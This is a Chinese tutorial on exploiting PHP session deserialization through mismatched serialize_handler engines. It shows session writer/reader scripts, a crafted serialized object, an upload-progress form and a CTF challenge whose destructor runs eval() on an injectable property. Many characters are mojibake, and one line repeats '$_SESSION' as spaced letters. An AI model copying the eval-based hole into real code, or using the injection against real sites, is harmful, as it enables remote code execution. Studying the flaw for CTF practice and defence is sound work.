PHP?session的反序列化你了解嗎
session反序列化的漏洞是由三種不同的反序列化引擎所產(chǎn)生的的漏洞
其中
session.serialize_handler string--定義用來序列化/反序列化的處理器名字。默認(rèn)使用php
若使用如下設(shè)置:
<?php //ini_set('session.serialize_handler', 'php'); //ini_set("session.serialize_handler", "php_serialize"); ini_set("session.serialize_handler", "php_binary"); phpinfo();
則改變了序列化的引擎
save_path則是session的存放路徑 我們可以通過改變ini_Set來查看不同引擎下的序列化的類型
三種引擎的存儲(chǔ)格式:
php : a|s:3:"wzk"; php_serialize : a:1:{s:1:"a";s:3:"wzk";} php_binary : as:3:"wzk";
漏洞產(chǎn)生在于
php引擎的存儲(chǔ)格式是鍵名 |serialized_string,而php_serialize引擎的存儲(chǔ)格式是serialized_string。如果程序使用兩個(gè)引擎來分別處理的話就會(huì)出現(xiàn)問題。
session_start() 會(huì)創(chuàng)建新會(huì)話或者重用現(xiàn)有會(huì)話。 如果通過 GET 或者 POST 方式,或者使用 cookie 提交了會(huì)話 ID, 則會(huì)重用現(xiàn)有會(huì)話。
所以如果存在兩種不同的引擎,就可以利用session_start()的自動(dòng)反序列化,把我們想要傳輸?shù)臄?shù)據(jù)傳輸?shù)椒?wù)器中:
eg:
<?php ini_set("session.serialize_handler", "php_serialize"); session_start(); $_SESSION['swaggyp'] = $_GET['a']; echo var_dump($_SESSION);
代碼1:用來保存在本地一個(gè)session
代碼2:
<?php ini_set('session.serialize_handler', 'php'); session_start(); echo var_dump($_SESSION); class student{ var $name; var $age; function __wakeup() { // TODO: Implement __wakeup() method. echo "wzk".$this->name; } }
用于讀取session然后進(jìn)行反序列化 若wakeup方法被調(diào)用則說明反序列化成功
<?php class student{ var $name; var $age; } $a = new student(); $a->nage = "swaggyp"; $a->age = "1111"; echo serialize($a); //O:7:"student":3:{s:4:"name";N;s:3:"age";s:4:"1111";s:4:"nage";s:7:"swaggyp";}
該代碼用于生成一個(gè)一個(gè)序列
參考于:
生成后,在1中傳入這段序列化的值并在開頭加入 | 則在第二個(gè)文件被解析的時(shí)候,就會(huì)把|后的內(nèi)容直接當(dāng)成一個(gè)類去解析 實(shí)現(xiàn)我們的目的
成功了
php 這個(gè)session.serialize_handler
將 | 后的字符串反序列化,導(dǎo)致產(chǎn)生惡意對(duì)象。
upload過程中會(huì)產(chǎn)生session,存在一個(gè)鍵值對(duì)的值為filename(可控),如果filename被我們修改為|+序列化對(duì)象字符串(特殊字符記得轉(zhuǎn)義),filename |后的內(nèi)容就會(huì)被認(rèn)為是序列化的內(nèi)容,進(jìn)而反序列化產(chǎn)生惡意對(duì)象(實(shí)際上PHP中session是寫到文件中的,我們暫且忽略這一中間步驟對(duì)此處并無影響),在對(duì)象自毀時(shí)去執(zhí)行__destruct()內(nèi)的語句
<form action =“ upload.php” method =“ POST” enctype =“ multipart / form-data”> <input type =“ hidden” name =“ PHP_SESSION_UPLOAD_PROGRESS” value =“ ryat” /> <input type =“ file” name =“ file” /> <input type =“ submit” /> </ form>
S E S S I O N 中 的 鍵 值 就 會(huì) 為 _SESSION中的鍵值就會(huì)為 S?ESSION中的鍵值就會(huì)為_SESSION[“upload_progress_ryat”]
,在會(huì)話上傳過程中,將對(duì)會(huì)話數(shù)據(jù)進(jìn)行序列化/反序列化,序列化格式由php.ini中的session.serialize_handler
選項(xiàng)設(shè)置。 這意味著,如果在腳本中設(shè)置了不同的serialize_handler
,那么可以導(dǎo)致注入任意session數(shù)據(jù)
題目:
<?php //A webshell is wait for you ini_set('session.serialize_handler', 'php'); session_start(); class OowoO { public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); } } if(isset($_GET['phpinfo'])) { $m = new OowoO(); } else { highlight_string(file_get_contents('index.php')); } ?>
構(gòu)造登錄框和payload
總結(jié)
本篇文章就到這里了,希望能夠給你帶來幫助,也希望您能夠多多關(guān)注腳本之家的更多內(nèi)容!
相關(guān)文章
PHP實(shí)現(xiàn)的簡單排列組合算法應(yīng)用示例
這篇文章主要介紹了PHP實(shí)現(xiàn)的簡單排列組合算法,結(jié)合具體應(yīng)用實(shí)例分析了排列組合算法的實(shí)現(xiàn)與使用技巧,需要的朋友可以參考下2017-06-06PHP實(shí)現(xiàn)數(shù)據(jù)庫統(tǒng)計(jì)時(shí)間戳按天分組輸出數(shù)據(jù)的方法
這篇文章主要介紹了PHP實(shí)現(xiàn)數(shù)據(jù)庫統(tǒng)計(jì)時(shí)間戳按天分組輸出數(shù)據(jù)的方法,涉及php基于時(shí)間的運(yùn)算與數(shù)據(jù)庫查詢相關(guān)操作技巧,需要的朋友可以參考下2017-10-10PHP實(shí)現(xiàn)的數(shù)據(jù)對(duì)象映射模式詳解
這篇文章主要介紹了PHP實(shí)現(xiàn)的數(shù)據(jù)對(duì)象映射模式,結(jié)合實(shí)例形式分析了php數(shù)據(jù)對(duì)象映射模式的原理、實(shí)現(xiàn)步驟及相關(guān)操作技巧,需要的朋友可以參考下2019-03-03PHP對(duì)XML內(nèi)容進(jìn)行修改和刪除實(shí)例代碼
這篇文章給大家主要介紹了利用PHP對(duì)XML內(nèi)容進(jìn)行修改和刪除的原理和方法,文中通過示例代碼介紹的很詳細(xì),相信對(duì)大家的理解和學(xué)習(xí)很有幫助,感興趣的朋友們可以參考借鑒,下面來一起看看吧。2016-10-10用mysql觸發(fā)器自動(dòng)更新memcache的實(shí)現(xiàn)代碼
不錯(cuò)的一篇文章,用于項(xiàng)目中可以帶來更多的便利,按照方法已經(jīng)調(diào)試成功,可以大大提高項(xiàng)目的速度。2009-10-10全局記錄程序片段的運(yùn)行時(shí)間 正確找到程序邏輯耗時(shí)多的斷點(diǎn)
全局記錄程序片段的運(yùn)行時(shí)間 正確找到程序邏輯耗時(shí)多的斷點(diǎn),需要的朋友可以參考下。2011-01-01